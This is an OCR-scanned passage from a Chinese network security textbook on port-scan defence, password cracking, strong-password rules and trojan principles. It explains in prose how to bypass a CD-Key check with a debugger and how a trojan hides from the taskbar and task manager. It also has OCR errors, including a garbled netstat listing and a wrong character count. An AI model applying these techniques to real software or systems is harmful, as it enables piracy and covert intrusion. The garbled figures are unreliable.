如 果 入 侵 者 得 到 目标 计算 机 上 的 用 户 名 后 ,能 使 用 口令 破解 软件 ,多 次 试图 登录 目标 计 
算 机 。 经 过 尝试 后 ,就 有 可 能 进入 目标 计算 机 。 得 到 了 用 户 名 ,就 等 于 得 到 了 一 半 进 入 系统 
的 权限 , 剩 下 的 只 是 使 用 软件 进行 攻击 而 已 。 


6.3.4 预防 端口 扫描 


预防 端口 扫描 的 检测 是 一 个 大 的 难题 ,因为 每 个 网 站 的 服务 都 是 公开 的 ,用 户 必须 对 所 
有 的 请 求 进行 响应 ,所 以 一 般 无 法 判断 是 否 有 人 在 扫描 自己 的 端口 。 但 是 根据 端口 扫描 的 
原理 ,扫描 器 一 般 都 是 自动 扫描 的 , 它 只 是 查看 端口 是 否 开通 ,然后 在 列表 中 查 出 相应 端口 
的 服务 即 可 。 因 此 ,用 户 可 以 把 服务 开 在 其 他 端口 上 ,如 Microsoft 的 IIS 服务 器 上 ,就 可 以 
将 HTTP 服务 固定 的 80 端口 改 为 其 他 端口 。 另 外 ,有 些 软件 还 可 以 在 一 些 端口 上 欺骗 黑 
客 ,读者 不 妨 试 试 。 


6.4 口令 破解 


口令 认证 是 计算 机 网 络 安 全 的 主要 组 成 部 分 之 一 ,目前 各 种 网 络 环境 都 利用 口令 认证 
机 制 管理 用 户 入 网 。 口 令 对 于 网 络 用 户 来 说 非常 重要 ,如 果 一 个 用 户 ( 特 别 是 超级 用 户 ) 的 
密码 丢失 或 被 破解 ,网 络 系统 将 遭受 不 可 估量 的 损失 。 口 令 的 防护 是 至 关 重 要 的 , 它 也 是 黑 
客 攻击 的 首要 目标 之 一 。 


6.4.1 用 户 的 登录 口令 认证 机 制 


一 般 比较 安全 的 计算 机 网 络 系统 要 求 每 个 用 户 使 用 唯一 的 用 户 名 和 口令 登录 到 计算 机 
上 ,这 种 登录 过 程 不 能 关闭 。 

用 户 登 录 过 程 是 : 计算 机 网 络 系统 在 用 户 登 录 前 ,可 以 看 到 屏幕 上 显示 一 个 登录 框 , 提 
示 用 户 登 录 网 络 系统 。 实 际 上 ,计算 机 网 络 系统 中 有 一 个 登录 进程 ,负责 登录 认证 工作 , 首 
先 要 求 用 户 在 登录 框 输入 账户 名 及 口令 。 登 录 进程 收 到 用 户 输入 的 账户 和 口令 后 ,就 查找 
安全 账户 数据 库 中 的 信息 。 如 果 账 户 及 口令 无 效 , 则 用 户 的 登录 企图 被 拒绝 ;如 果 账 户 及 口 
令 有 效 , 系 统 将 检查 该 用 户 的 权限 ,用 户 就 可 以 入 网 ,根据 自己 的 权限 使 用 网 络 中 的 资源 。 


6.4.2 口令 破解 的 方法 


黑客 攻击 网 络 时 常常 把 破译 普通 用 户 的 口令 作为 攻击 的 开始 。 他 先 用 扫描 工具 ,如 
Finger 协议 找 出 网 络 中 主机 上 的 用 户 账号 ,然后 就 采用 字典 穷 举 法 生成 大 量 的 随机 密码 ， 
一 种 方法 是 利用 这 些 密码 登录 用 户 的 系统 ,如 果 密 码 不 对 ,他 就 使 用 下 一 个 随机 密码 ,直到 
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密码 被 查 出 为 止 。 另 外 一 种 方法 是 利用 系统 的 漏洞 获取 系统 安全 账户 文件 ,采用 口令 破解 
右 进 行 破解 。 

采用 前 一 种 方法 进行 密码 猜测 的 步骤 是 依据 下 列 假设 : 网 络 上 的 用 户 常 采用 一 个 英语 
单词 或 自己 的 姓氏 作为 口令 。 通 过 一 些 程序 ,自动 地 从 计算 机 字典 中 取出 一 个 单词 ,作为 用 
户 的 口令 输入 给 远 端 的 主机 ,申请 进入 系统 。 若 口令 错误 ,就 按 序 取 出 下 一 个 单词 ,进行 下 
一 个 尝试 。 并 一 直 循 环 下 去 ,直到 找到 正确 的 口令 或 字典 的 单词 试 完 为 止 。 

由 于 这 个 破译 过 程 由 计算 机 程序 来 自动 完成 ,而 现代 的 个 人 计算 机 性 能 十 分 优越 , 几 个 
小 时 就 可 以 把 字典 的 所 有 单词 都 试 一 遍 , 所 以 黑客 只 要 有 一 个 好 的 字典 一 个 性 能 卓越 的 个 
人 计算 机 和 高 速 网 络 带宽 就 很 容易 进行 口令 猜测 攻击 。 若 这 种 方法 不 能 奏效 ,黑客 再 仔细 
寻找 目标 的 薄弱 环节 和 漏洞 ,伺机 夺取 目标 中 存放 口令 的 文件 ,也 就 是 利用 口令 破解 器 进行 
破解 。 


6.4.3 口令 破解 器 的 原理 


口令 破解 器 是 一 个 程序 , 它 能 将 口令 解 译 出 来 ,或 者 让 口令 保护 失效 。 口 令 破解 器 一 般 
并 不 是 真正 地 去 解码 ,因为 事实 上 很 多 加 密 算 法 是 不 可 闭 的 。 也 就 是 说 , 光 是 从 被 加 密 的 数 
据 和 加 密 算法 ,不 可 能 从 它们 身上 反 解 出 原来 未 加 密 的 数据 。 其 实 大 多 数 口令 破解 器 是 通 
过 尝试 一 个 一 个 的 单词 ,用 已 知 的 加 密 算法 来 加 密 这 些 单词 ,直到 发 现 一 个 单词 经 过 加 密 后 
的 结果 和 要 解密 的 数据 一 样 ,就 认为 这 个 单词 就 是 要 找 的 密码 了 。 这 就 是 目前 最 有 效 的 方 
法 。 这 种 方法 之 所 以 比 想象 得 有 效 得 多 其 原因 如 下 所 述 。 

许多 人 在 选择 密码 时 ,技巧 性 都 不 是 很 好 。 许 多 人 还 认为 他 的 私人 数据 反正 没有 放 在 
网 上 ,所 以 密码 选择 也 比较 随便 。 其 实 一 个 用 户 在 一 个 系统 里 有 一 个 账户 ,就 是 一 个 通 人 系 
统 的 门 。 如 果 其 中 的 一 个 密码 不 安全 , 则 整个 系统 也 就 是 不 安全 的 。 由 于 用 户 的 密码 设置 
的 往往 都 是 一 些 有 意义 的 单词 ,或 者 干脆 就 是 用 户 名 本 身 ,使 得 破解 器 的 尝试 次 数 大 为 
降低 。 

许多 加 密 算法 在 选择 密 钥 时 ,都 是 通过 随机 数 算法 产生 的 。 但 往往 由 于 这 个 随机 数 算 
法 并 不 是 真正 意义 上 的 随机 数 , 从 而 大 大 降低 了 这 个 随机 性 ,从 而 为 解密 提供 了 一 系列 的 方 
便 。 例 如 ,本 来 需要 尝试 1000 次 ,但 由 于 上 述 随机 性 并 不 好 ,结果 使 得 只 需 尝试 100 次 就 能 
成 功 。 以 Linux 为 例 ,Linux 口令 的 可 能 值 统计 如 下 。 

Linux 一 共 是 128(0x00 一 0xff) 个 字符 ,小 于 0x20 的 都 算是 控制 符 ,不 能 输入 为 口令 ， 
0x7f 为 转 义 符 , 不 能 输入 。 那 么 总 共有 128 一 32 一 1=95 个 字符 可 作为 口令 使 用 的 字符 。 
也 就 是 10( 数 字 ) 十 33( 标 点 符号 ) 十 26X2( 大 小 写字 母 ) 王 95 个 字母 可 以 作为 口令 输入 。 如 
果 Password 取 任 意 5 个 字母 十 1 位 数字 或 符号 ( 按 顺序 ) 可 能 性 是 52X52X52X52X52X 
43 王 16 348 773 000(163 亿 种 可 能 性 )。 但 如 果 5 个 字母 是 一 个 常用 词 ,估算 一 下 设 常 用 词 
5000 条 ,从 5000 个 常用 词 中 取 一 个 词 与 任意 一 个 字符 组 合成 口令 , 即 5000 X (2X2X2Xx 
2X2)( 大 小 写 )43 王 6 880 000(688 万 种 可 能 性 )。 但 这 已 经 可 以 用 计算 机 进行 穷 举 了 ,在 
Pentium 200 上 每 秒 可 算 三 四 万 次 , 像 这 样 简单 的 口令 要 不 了 3 分钟。 如 果 有 人 用 P200 算 
上 一 周 , 将 可 进行 200 亿 次 攻击 ,所 以 6 位 口令 是 很 不 可 靠 的 ,至 少 要 用 7 位 。 可 惜 很 多 用 
户 确实 是 这 样 设 passwd( 密 码 ) 的 ,以 上 只 是 常见 的 一 种 情况 ,实际 情况 还 要 复杂 ,主要 是 根 
据 用 户 设 置 口令 格式 的 变化 而 变化 。 那 些 黑客 并 不 需要 所 有 人 的 口令 ,他 们 得 到 几 个 用 户 
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口令 就 能 获取 系统 的 控制 权 , 所 以 设置 口令 过 于 简单 就 是 对 系统 安全 的 不 负责 。 

注意 ,实际 情况 下 绝 大 多 数 人 都 只 用 小 写字 符 ,破译 可 能 性 还 要 大 些 。 

另外 ,许多 人 的 口令 设置 是 把 用 户 名 和 密码 写成 一 样 ,这 就 更 加 增添 了 口令 的 不 安全 
性 。 在 进行 口令 猜测 实验 时 ,就 多 次 遇 到 过 这 样 的 情况 。 

还 有 一 个 原因 是 目前 计算 机 的 速度 相当 快 ,而 且 互 联网 的 存在 ,使 得 协同 进行 解密 的 可 
能 性 大 为 增加 。 这 样 强 的 计算 能 力 用 到 解密 上 ,造成 了 破解 的 时 间 大 为 降低 。 

通过 上 述 分 析 可 见 , 从 理论 上 来 讲 ,任何 密码 都 是 可 以 破解 的 ,只 是 一 个 时 间 迟 早 的 问 
题 。 对 于 一 些 安全 性 较 低 的 系统 ,破解 速度 通常 很 快 。 

对 于 那 种 需要 一 个 口令 或 注册 码 才能 安装 软件 的 情况 ,口令 破解 会 显得 更 为 简单 。 这 
种 情况 你 可 能 会 经 常 遇 到 。 例 如 ,安装 一 个 微软 的 软件 ,在 安装 过 程 中 通常 需要 输入 一 个 
CD-Key, 如 果 这 个 CD-Key 是 正确 的 , 它 就 开始 安装 。 如 果 是 非法 的 ,就 退出 安装 。 通 常 有 
两 种 方法 可 以 使 这 种 方式 失效 。 

一 种 是 修改 安装 程序 。 因 为 这 种 方法 的 流程 一 般 是 在 安装 的 时 候 先 弹出 一 个 对 话 框 ， 
请 求 输入 CD-Key。 接 着 程序 会 对 输入 的 CD-Key 进行 运算 ,最 后 根据 得 到 的 结果 决定 是 继 
续 安 装 还 是 退出 。 现 在 有 很 多 调试 软件 ,它们 提供 丰富 的 调试 功能 ,如 单 步 执行 ,设置 断 点 
等 。 一 个 比较 好 的 软件 是 Soft-ICE。 在 运行 安装 程序 之 前 ,可 以 在 调试 软件 里 设置 在 系统 
弹出 CD-Key 输入 对 话 框 的 时 候 停止 执行 。 接 着 就 可 以 用 调试 器 跟踪 代码 的 执行 ,将 
CD-Key 判断 部 分 整个 跳 过 去 ,直接 进入 安装 程序 。 

另 一 个 方法 就 是 算法 尝试 。 由 于 安装 程序 要 对 CD-Key 进行 运算 ,判断 其 合法 性 。 因 
此 ,只 要 知道 CD-Key 的 算法 ,就 能 轻而易举 地 进入 。 

已 经 有 人 对 微软 的 这 种 算法 进行 了 探讨 ,发 现 这 些 算法 策略 都 很 简单 。 


6.4.4 口令 破解 器 的 工作 过 程 


要 知道 口令 破解 器 是 如 何 工作 的 ,主要 还 是 要 知道 计算 机 网 络 系统 的 认证 加 密 算法 。 
正如 上 面 所 说 的 ,许多 口令 破解 器 是 对 某 些 单词 进行 加 密 , 然 后 再 进行 比较 。 

候选 口令 产生 器 的 作用 是 产生 认为 可 能 是 密码 的 单词 。 通 常 有 好 几 种 方法 产生 候选 密 
码 。 一 种 是 从 一 个 字典 里 读 取 一 个 单词 。 这 种 方法 的 理论 根据 是 许多 用 户 由 于 选取 密码 不 
是 很 明智 ,例如 ,将 自己 的 名 字 、 用 户 名 或 者 一 个 好 记 住 的 单词 等 设 为 密码 。 所 以 ,攻击 时 通 
常 都 将 这 些 单词 收集 到 一 个 文件 里 ,叫做 字典 。 在 破解 密码 时 ,从 这 些 字典 里 取出 候选 

另 一 种 方法 是 用 枚 举 法 来 产生 这 样 的 单词 。 通 常 从 一 个 字母 开始 ,一 直 增加 ,直到 破解 
出 密码 为 止 。 这 里 ,通常 要 指定 组 成 密码 的 字符 集 ,比如 从 A 一 2,0 一 9 等 。 为 了 便于 协同 
破解 密码 ,常常 需要 为 密码 产生 器 指定 产生 的 密码 的 范围 。 

口令 加 密 就 是 用 一 般 的 加 密 算 法 对 从 口令 候选 器 送 来 的 单词 进行 加 密 。 通 常 ,对 于 攻 
击 不 同 的 系统 ,要 采用 不 同 的 加 密 算 法 。 加 密 算法 有 很 多 ,通常 是 不 可 逆 的 。 这 就 是 为 什么 
口令 破解 器 使 用 的 是 这 种 结构 的 原因 。 

口令 比较 就 是 将 从 口令 加 密 里 出 来 的 密 文 和 要 破解 的 密 文 进行 比较 。 如 果 一 致 ,那么 
当前 候选 口令 发 生 器 中 出 来 的 单词 就 是 要 找 的 密码 。 如 果 不 一 致 , 则 口令 发 生 器 再 产生 下 
一 个 候选 口令 ,继续 进行 比较 。 
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6.4.5 防止 口令 破解 


前 面 讲 过 ,口令 破解 的 方法 有 两 种 方法 : 一 种 方法 是 使 用 字典 穷 举 法 利用 随机 密码 登 
录用 户 的 系统 来 查找 密码 ,直到 密码 被 查 出 为 止 ; 另 外 一 种 方法 是 利用 系统 的 漏洞 获取 系统 
安全 账户 文件 ,采用 口令 破解 器 进行 破解 。 

防范 口令 破解 的 第 一 种 方法 是 : 目前 比较 安全 的 网 络 系统 (如 Novell Netware， 
Windows 2003 和 UNIX) 有 一 种 防范 机 制 就 是 账户 人 侵 者 封锁 ,具体 是 设置 用 户 登 录 失 败 
次 数 , 用 户 在 设置 的 登录 失败 次 数 内 没有 成 功 地 登录 ,系统 会 自动 锁定 用 户 账 号 ,除非 由 管 
理 员 来 解除 锁定 。 这 样 可 以 防止 黑客 试图 猜测 用 户口 令 。 在 用 户 账号 因 超 过 登录 次 数 限制 
而 被 锁定 时 ,系统 管理 员 就 要 警惕 是 否 有 黑客 试图 闯 入 该 系统 。 因 此 ,网 络 系统 管理 员 应 给 
用 户 启动 账户 人 侵 者 封锁 。 

由 于 黑客 利用 第 二 种 方法 破解 密码 成 功 的 前 提 条 件 有 两 个 : 取得 系统 的 安全 账户 文件 
和 用 户 的 口令 设置 不 合理 。 因 此 ,防范 这 种 口令 破解 的 方法 是 : 加 强 各 网 络 系统 的 安全 账 
户 文件 管理 (如 Windows XP 目录 Windows\System32\Config 的 sam 文件 .UNIX 系统 的 / 
etc 目录 下 的 Passwd 或 Shadow 文件 ) 和 选择 好 的 安全 密码 。 

选择 好 的 安全 密码 的 原则 如 下 。 

在 学 习 选 择 安 全 口令 之 前 ,根据 黑客 软件 产生 随机 口令 破解 口令 的 工作 原理 ,按照 口令 
破译 的 难 易 程 度 , 即 以 破解 需要 的 时 间 为 排序 指标 ,先后 列 出 了 各 种 危险 口令 。 

(1) 使 用 用 户 名 (账号 ) 作 为 口令 。 尽 管 这 种 方法 在 便于 记忆 上 有 着 相当 大 的 优势 ,可 
是 在 安全 上 几乎 是 不 堪 一 击 。 几 乎 所 有 以 破解 口令 为 手段 的 黑客 软件 ,都 首先 会 将 用 户 名 
作为 口令 的 突破 口 ,而 破解 这 种 口令 几乎 不 需要 时 间 。 不 要 以 为 没有 人 会 采用 这 种 思春 的 
办 法 ,根据 有 经 验 的 黑客 反映 ,在 一 个 用 户 数 超 过 1000 的 计算 机 网 络 中 ,一 般 可 以 找到 10 
至 20 个 这 样 的 用 户 ,而 他 们 则 成 为 了 黑客 入侵 的 最 佳 途径 。 

(2) 使 用 用 户 名 (账号 ) 的 变换 形式 作为 口令 。 使 用 这 种 方法 的 用 户 自 以 为 很 聪明 ,将 
用 户 名 颠倒 或 者 加 前 后 级 作为 口令 , 既 容易 记忆 也 可 以 防止 许多 黑客 软件 。 不 错 , 对 于 这 种 
方法 的 确 使 相当 一 部 分 黑客 软件 无 用 武之 地 ,不 过 那 只 是 一 些 初级 的 软件 。 一 个 真正 优秀 
的 黑客 软件 是 完全 有 办 法 对 付 的 。 例 如 ,有 的 黑客 软件 可 做 到 ,如 果 你 的 用 户 名 是 Yuan, 那 
么 它 在 尝试 使 用 Yuan 作为 口令 之 后 ,还 会 试 着 使 用 诸如 Yuan123, Yuanl, Nyuaf, Nauy， 
Nauy123 等 作为 口令 ,只 要 是 你 想到 的 变换 方法 ,黑客 软件 也 会 想到 , 它 破 解 这 种 口令 ,只 
需要 几 秒 钟 的 时 间 。 

(3) 使 用 自己 或 者 亲友 的 生日 作为 口令 。 这 种 口令 有 着 很 大 的 欺骗 性 ,因为 这 样 往往 
可 以 得 到 一 个 6 位 或 者 8 位 的 口令 ,从 数学 理论 上 来 说 分 别 有 1 000 000 和 100 000 000 种 
可 能 性 ,很 难得 到 破解 。 其 实 , 由 于 口令 中 表示 月 份 的 两 位 数字 只 有 1 一 12 可 以 使 用 ,表示 
日 期 的 两 位 数 数字 也 只 有 1 一 31 可 以 使 用 ,而 8 位 数 的 口令 其 中 作为 年 份 的 4 位 数 铁定 是 
19xx 年 ,经 过 这 样 推理 ,使 用 生日 作为 口令 尽管 有 6 位 甚至 8 位 ,但 实际 上 可 能 的 表达 方式 
只 有 100X 12 X31 三 37 200 种 ,即使 再 考虑 到 年 月 日 共有 6 种 排列 顺序 ,一 共 也 只 有 
37 200X6 王 223 200 种 ,仅仅 是 原来 100 000 000 的 17/448 , 而 一 台 普 通 的 P200 计算 机 每 秒 
可 以 搜索 3 一 4 万 种 ,仅仅 需要 5. 58 秒 时 间 就 可 以 搜索 完 所 有 可 能 的 口令 。 如 果 再 考虑 到 
实际 使 用 计算 机 人 的 年 龄 ,1930 一 1980 就 可 以 概括 掉 大 多 数 的 可 能 性 ,那么 搜索 需要 的 时 
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间 还 可 以 进一步 缩短 。 

(4) 使 用 常用 的 英文 单词 作为 口令 。 这 种 方法 比 前 几 种 方法 要 安全 一 些 。 前 几 种 只 需 
要 时 间 就 一 定 能 破解 ,而 这 一 种 则 未 必 。 如 果 选 用 的 单词 是 十 分 生僻 的 ,那么 黑客 软件 就 可 
能 无 能 为 力 了 。 不 过 不 要 高 兴 得 太 早 , 黑 客 一 般 有 一 个 很 大 的 字典 库 ,一 般 含 10 万 一 20 万 
的 英文 单词 以 及 相应 的 组 合 , 如 果 不 是 研究 英语 的 专家 ,那么 选择 的 英文 单词 恐怕 十 之 八 九 
可 以 在 黑客 的 字典 库 中 找到 。 如 果 是 那样 的 话 ,以 20 万 单词 的 字典 库 计 算 ,再 考虑 到 一 些 
DES( 数 据 加 密 算法 ) 的 加 密 运 算 ,每 秒 1800 个 的 搜索 速度 也 不 过 只 需要 110 秒 。 

(5) 使 用 5 位 或 5 位 以 下 的 字符 作为 口令 。 从 理论 上 来 说 ,一 个 系统 包括 大 小 写 、 控 制 
符 等 可 以 作为 口令 的 一 共有 95 个 符号 ,5 位 就 是 95 的 5 次 方 =7 737 809 375 种 可 能 性 ,使 
用 P200 虽说 要 多 花 些 时 间 , 不 过 最 多 也 不 过 53 个 小 时 ,如 果 考 虑 到 许多 用 户 喜 欢 使 用 字母 
加 数字 ,那么 62 的 5 次 方 =916 132 832 种 可 能 性 ,只 需要 6. 23 小 时 就 可 以 破解 ,再 考虑 还 
有 更 多 的 用 户 只 喜欢 使 用 小 写字 母 加 数字 作为 口令 ,那么 就 只 有 36 的 5 次 方 一 60 466 176 
种 可 能 性 , 那 就 只 需要 25 分 钟 就 可 以 破解 。 可 见 5 位 的 口令 是 很 不 可 靠 的 ,而 6 位 口令 也 
不 过 将 破解 的 时 间 延 长 到 一 周 左右 。 

那么 ,怎样 的 口令 才 是 安全 的 呢 ? 

(1) 必须 是 8 位 以 上 长 度 。 

(2) 必须 包括 大 小 写 .数字 字母 ,如 果 有 控制 符 那 么 更 好 。 

(3) 不 要 太 常 见 。 例 如 ,e8B3Z6v0 或 者 {OOL6mAN 这 样 的 密码 都 是 比较 安全 的 。 

(4) 密码 不 应 是 自己 的 名 字 或 者 名 字 的 一 部 分 或 者 名 字 十 数字 的 形式 。 

(5) 不 要 用 自己 的 电话 号 码 。 

(6) 不 要 用 自己 或 者 爱人 的 生日 。 

(7) 不 要 用 单个 英文 单词 。 

(8) 不 要 使 用 身份 证 号 码 的 一 部 分 。 

(9) 不 要 用 单词 十 数字 的 形式 。 

(10) 不 要 将 口令 写 下 来 。 

(11) 不 要 将 口令 存 于 计算 机 文件 中 。 

(12) 不 要 选取 显而易见 的 信息 作 口 令 。 

(13) 不 要 在 不 同系 统 上 使 用 同一 口令 。 

(14) 为 防止 眼 明 手 快 的 人 窃取 口令 ,在 输入 口令 时 应 确认 无 人 在 旁边 。 

(15) 如 果 你 的 计算 机 是 Windows 2003 操作 系统 ,那么 就 应 该 做 到 : 

。 采 用 Windows NTFS 的 文件 管理 系统 。 

。 取消 善 通 用 户 访问 注册 表 的 权限 。 

不 过 再 安全 的 密码 也 不 是 无 懈 可 击 的 ,只 有 安全 的 密码 配 上 1 一 3 个 月 更 换 一 次 的 安全 
制度 才 是 比较 安全 的 。 


6.5 木 马 


攻击 者 一 般 在 入 侵 某 个 系统 后 ,希望 尽 可 能 长 时 间 控 制 远程 计算 机 ,为 达到 这 个 目的 的 
办 法 是 利用 木马 程序 ,本 节 主 要 介绍 木马 程序 的 原理 .工作 过 程 . 木 马 的 分 类 以 及 木马 的 
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防御 。 
6.5.1 木马 的 原理 及 工作 过 程 


1. 什么 是 木马 

木马 (Trojan Horse, 又 称 为 特洛伊 木马 )。 此 词语 来 源 于 古 希腊 的 神话 故事 ,传说 希腊 
人 围攻 特洛伊 城 ,久久 不 能 得 手 。 后 来 想 出 了 一 个 木马 计 , 让 士兵 藏匿 在 巨大 的 木马 中 。 大 
部 队 假 装 撤退 而 将 木马 弃 于 特洛伊 城下 ,让 敌人 将 其 作为 战利品 拖 入 城内。 木马 内 的 士兵 
则 乘 夜 晚 天 人 庆 视 胜利 ,放松 警惕 的 时 候 从 木马 中 息 出 来 ,与 城 外 的 部 队 里 应 外 合 而 攻 下 了 
特洛伊 城 。 在 计算 机 安全 学 中 ,木马 是 指 一 种 计算 机 程序 , 它 驻 留 在 目标 计算 机 里 。 在 目标 
计算 机 系统 启动 的 时 候 , 自 动 启动 。 然 后 在 某 一 端口 进行 侦 听 。 如 果 在 该 端口 收 到 数据 ,对 
这 些 数据 进行 识别 ,然后 按 识别 后 的 命令 ,在 目标 计算 机 上 执行 一 些 操 作 。 比 如 穷 取 口令 ， 
复制 或 删除 文件 ,或 重新 启动 计算 机 。 木 马 隐 藏 着 可 以 控制 用 户 计算 机 系统 、 危 害 系 统 安全 
的 功能 , 它 可 能 造成 用 户 资料 的 泄漏 、 破 坏 或 整个 系统 的 前 溃 。 

在 一 定 程 度 上 ,可 以 把 木马 看 成 计算 机 病毒 。 其 实质 只 是 一 个 网 络 客户 /服务 程序 。 网 
络 客户 机 /服务 器 模式 的 原理 是 一 台 主 机 (服务 器 ) 提 供 服务 , 另 一 台 主 机 (客户 机 ) 接 收服 
务 。 作 为 服务 器 的 主机 一 般 会 打开 一 个 默认 的 端口 并 进行 监听 ,如 果 有 客户 机 向 服务 器 的 
这 一 端口 提出 连接 请 求 (connect request) ,服务 器 上 的 相应 程序 就 会 自动 运行 ,来 应 管 客户 
机 的 请 求 ,这 个 程序 称 为 守护 进程 。 对 于 木马 来 说 ,被 控制 端 是 一 台 服 务 器 ,控制 端 则 是 一 
台 客 户 机 。 黑 客 经 常 引 诱 目标 对 象 运 行 服务 器 端 程序 ,这 一 般 需 要 使 用 欺骗 性 手段 ,而 网 上 
新 手 则 很 容易 上 当 。 黑 客 一 旦 成 功 地 侵入 了 用 户 的 计算 机 后 就 会 在 计算 机 系统 中 隐藏 一 个 
会 在 系统 启动 时 悄悄 运行 的 程序 ,采用 客户 机 /服务 器 的 运行 方式 ,从 而 达到 在 用 户 上 网 时 
控制 用 户 的 计算 机 的 目的 。 黑 客 可 以 利用 它 窃取 用 户 的 口令 、 浏 览 用 户 的 驱动 右 、 修 改 文 
件 、 登 录 注册 表 等 。 

攻击 者 一 般 在 入 侵 某 个 系统 后 , 想 办 法 将 木马 复制 到 目标 计算 机 中 ,并 设法 运行 这 个 程 
序 , 从 而 留 下 后 门 。 以 后 ,通过 运行 该 木马 的 客户 端 程序 ,对 远程 计算 机 进行 操作 。 

所 以 ,木马 是 一 种 基于 远程 控制 的 黑客 工具 ,具有 非 授权 性 和 隐蔽 性 的 特点 。 木 马 病毒 
的 非 授 权 性 是 指 一 旦 控制 端 与 服务 端 连接 后 ,控制 端 就 可 享有 服务 端的 大 部 分 操作 权限 , 包 
括 修改 文件 ,修改 注册 表 , 控 制 鼠标 、 键 盘 等 ,而 这 些 权 力 并 不 是 服务 端 赋 予 的 ,而 是 通过 木 
马 程序 穷 取 的 。 木 马 病 毒 的 隐蔽 性 是 指 为 了 防止 木马 被 用 户 发 现 , 木 马 的 设计 者 会 采用 多 
种 手段 来 对 木马 进行 隐藏 ,这 样 即使 用 户 发 现 了 木马 ,也 没有 办 法 很 好 地 定位 和 清除 木马 。 
所 以 ,木马 能 巧妙 地 运行 在 目标 计算 机 系统 里 ,而 不 容易 被 发 现 。 现 在 有 许多 这 样 的 程序 ， 
如 NetCat,Back Orifice, NetBus 等 。 

2. 感染 木马 病毒 的 现象 

中 了 木马 后 很 难说 会 有 什么 现象 ,因为 它们 发 作 时 的 情况 多 种 多 样 。 如 果 计 算 机 有 以 
下 表现 ,就 很 可 能 中 了 黑客 的 木马 了 。 

计算 机 有 时 死机 ,有 时 又 重新 启动 ;在 没有 执行 什么 操作 的 时 候 , 却 在 拼命 读 写 硬 盘 ; 系 
统 莫 名 其 妙 地 对 软驱 进行 搜索 ;没有 运行 大 的 程序 ,可 系统 的 速度 却 越 来 越 慢 ,系统 资源 占 
用 很 多 ;用 Ctrl 十 Alt 十 Del 键 调度 任务 表 ,发 现 有 多 个 名 字 相 同 的 程序 在 和 运行, 而且 可 能 会 
随时 间 的 增加 而 增多 ,有 一 些 程序 是 明显 不 应 该 出 现在 这 个 列表 里 的 。 在 连 人 Internet 网 
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或 是 局 域 网 后 现 计 算 机 有 这 些 现象 ,就 应 小 心 了 ,当然 也 有 可 能 是 一 些 其 他 病毒 在 
作怪 5 

判断 电脑 是 否 中 了 木马 病毒 ,还 可 以 使 用 Windows 自 带 的 netstat 命令 来 检查 一 下 机 
器 开放 的 端口 ,进入 到 命令 行 下 ,使 用 netstat 命令 的 a 和 n 两 个 参数 ,显示 结果 如 下 所 示 : 


C:\>netstat -a-n 


Active Connections 


Proto Local Address Foreign Address State 

TCP 0.0.0.0:80 0.0.0.050 LISTENING 
TCP 0.0.0.0:21 0.0.50.0:0 LISTENING 
TCP 0.0.0.0:7626 9.0.0.039 LISTENING 
UDP 0.0.0.0:445 0.0.0.0:0 

UDP 0.0.0.0:1046 05050.050 

UDP 0.0.0.0:1047 0 ,0.05025 


Active Connections 是 指 当 前 本 机 活动 连接 ,Proto 是 指 连 接 使 用 的 协议 名 称 , Local 
Address 是 本 地 计算 机 的 IP 地 址 和 连接 正在 使 用 的 端 上 Address 是 连接 该 端 
口 的 远程 计算 机 的 IP 地 址 和 端口 号 ,State 则 是 表明 TCP 连接 的 状态 。 

可 以 看 到 后 面 3 行 的 监听 端口 是 UDP 协议 的 ,所 以 没有 State 表示 的 状态 。 这 人 台 机 器 
的 7626 端口 已 经 开放 ,而 且 正 在 监听 等 待 连 接 , 像 这 样 的 情况 极 有 可 能 是 已 经 感染 了 木马 。 
这 时 就 需要 先 断 开 网 络 , 然 后 立即 用 杀毒 软件 查 杀 。 

由 于 木马 程序 的 破坏 通常 需要 里 应 外 合 , 因 此 大 多 数 的 木马 并 不 可 怕 , 即 使 运行 了 ,也 
不 一 定 会 对 计算 机 造成 危害 。 不 过 ,潜在 的 危害 还 是 有 的 。 比 如 上 网 用 户 的 密码 有 可 能 已 
经 跑 到 别人 的 收 件 箱 里 了 。 

3. 木马 的 工作 原理 

在 Windows 系统 中 ,木马 一 般 作为 一 个 网 络 服务 程序 在 中 了 木马 的 计算 机 后 台 运 行 ， 
监听 本 机 一 些 特定 端口 ,这 个 端口 号 多 数 比 较 大 (5000 以 上 ,但 也 有 少 部 分 是 5000 以 下 
的 )。 当 该 木马 相应 的 客户 端 程序 在 此 端口 上 请 求 连接 时 , 它 会 与 客户 程序 建立 TCP 连接 ， 
从 而 被 客户 端 远 程控 制 。 

是 木马 ,当然 也 不 会 那么 容易 让 别人 看 出 破绽 ,对 于 程序 设计 人 员 来 说 ,必须 隐藏 
自己 所 设计 的 窗口 程序 ,主要 途径 有 : 在 任务 栏 中 将 窗口 隐藏 ,这 只 要 在 开发 程序 时 把 
Form 的 Visible 属性 设置 为 False,ShowInTaskBar 也 设 为 False。 那 么 程序 运行 时 就 不 会 
出 现在 任务 栏 中 了 。 如 果 要 在 任务 管理 器 中 隐身 ,只 要 将 程序 调整 为 系统 服务 程序 就 可 
以 了 s 

在 对 木马 的 运行 有 了 大 体 了 解 之 后 ,就 可 以 从 其 运行 原理 着 手 来 分 析 它 藏 在 哪里 。 既 
然 要 作为 后 台 的 网 络 服务 器 运行 ,那么 它 就 要 趁 计算 机 刚 开 机 的 时 候 得 到 运行 ,进而 常 驻 内 
存 中 。 

目前 ,木马 主要 是 依靠 邮件 、 下 载 等 途径 进行 传播 。 然 后 ,木马 通过 一 定 的 提示 诱 使 目 
标 主 机 运行 木马 的 服务 端 程序 ,实现 木马 的 种 植 。 例 如 ,入 侵 者 伪装 成 目标 主机 用 户 的 朋 
友 ,发 送 了 一 张 捆绑 有 木马 的 电子 贺卡 。 当 目标 主机 打开 贺卡 后 ,屏幕 上 虽然 会 出 现 贺 卡 的 
画面 ,但 此 时 木马 服务 端 程序 已 经 在 后 台 运 行 了 。 由 于 木马 的 体积 都 非常 小 ,大 部 分 在 几 
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KB 到 几 十 KB 之 间 , 因 此 ,从 体积 上 来 判断 一 个 文件 中 是 否 捆绑 有 木马 是 很 困难 的 。 此 外 ， 
木马 也 可 以 通过 Script,ActiveX 及 Asp. CGI 等 交互 脚本 进行 传播 。 比 如 ,IE 浏览 器 在 执 
行 Script 脚本 时 存在 一 些 漏洞 。 入 侵 者 可 以 利用 这 些 漏洞 进行 木马 的 传播 与 种 植 。 

当 目 标 主机 执行 了 服务 端 程序 之 后 ,入 侵 者 便 可 以 通过 客户 端 程序 与 目标 主机 的 服务 
